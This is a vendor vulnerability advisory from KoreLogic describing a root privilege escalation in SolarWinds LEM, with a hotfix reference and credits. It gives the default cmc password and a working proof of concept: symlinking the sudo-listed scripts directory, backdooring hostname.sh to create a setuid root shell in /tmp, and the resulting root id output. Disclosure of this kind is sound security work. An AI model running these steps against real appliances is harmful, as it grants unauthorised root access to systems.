Solarwinds LEM Privilege Escalation via Controlled Sudo Path

Vulnerability Description

Due to lax filesystem permissions, an attacker can take control of a hardcoded sudo path in order to execute commands as a privileged user.

Technical Description

Should an attacker gain access to the SSH console for the cmc user, root access to the underlying operating system can be achieved. The default password for the cmc user is “password”.

Due to underlying filesystem permissions, it is possible for the cmc user to assume control of a path hardcoded in the sudoers file. The attack is started by moving the scripts directory and creating a symlink to a (now) attacker controlled scripts directory.

cmc@swi-lem:/usr/local/contego$ mv scripts scripts.real && mkdir scripts && cd scripts.real && for A in * ; do ln -s ../scripts.real/${A} ../scripts/${A} ; done

Next, a file specified in the sudoers file is overwritten and then executed using sudo.

cmc@swi-lem:/usr/local/contego/scripts$ diff -u hostname.sh hostname.sh.backdoor
--- hostname.sh 2005-07-01 20:10:17.000000000 -0700
+++ hostname.sh.backdoor        2016-12-11 12:20:35.000000000 -0800
@@ -1,5 +1,10 @@
 #!/bin/sh
+# create a backdoor setuid shell
+cp /bin/dash /tmp/sushi
+chown root:root /tmp/sushi
+chmod 4755 /tmp/sushi
+
[snip]
cmc@swi-lem:/usr/local/contego/scripts$ rm hostname.sh && mv -i hostname.sh.backdoor hostname.sh
cmc@swi-lem:/usr/local/contego$ sudo /usr/local/contego/scripts/hostname.sh

This results in a suid dash shell being output to /tmp/sushi.

cmc@swi-lem:/usr/local/contego$ ls -ld /tmp/sushi
-rwsr-xr-x 1 root root 104168 Dec 11 12:21 /tmp/sushi

Running this shell results in root privileges.

cmc@swi-lem:/usr/local/contego$ /tmp/sushi
# id
uid=1001(cmc) gid=1000(trigeo) euid=0(root) groups=0(root),4(adm),24(cdrom),25(floppy),104(postgres),105(snort),1000(trigeo),1002(dbadmin)

Mitigation and Remediation Recommendation

The vendor has released a Hotfix to remediate this vulnerability. Hotfix and installation instructions are available at:

https://thwack.solarwinds.com/thread/111223

Credit

This vulnerability was discovered by Hank Leininger and Matt Bergin (@thatguylevel) of KoreLogic, Inc.

Proof of Concept

See 3. Technical Description

The contents of this advisory are copyright(c) 2017 KoreLogic, Inc. and are licensed under a Creative Commons Attribution Share-Alike 4.0 (United States) License: http://creativecommons.org/licenses/by-sa/4.0/

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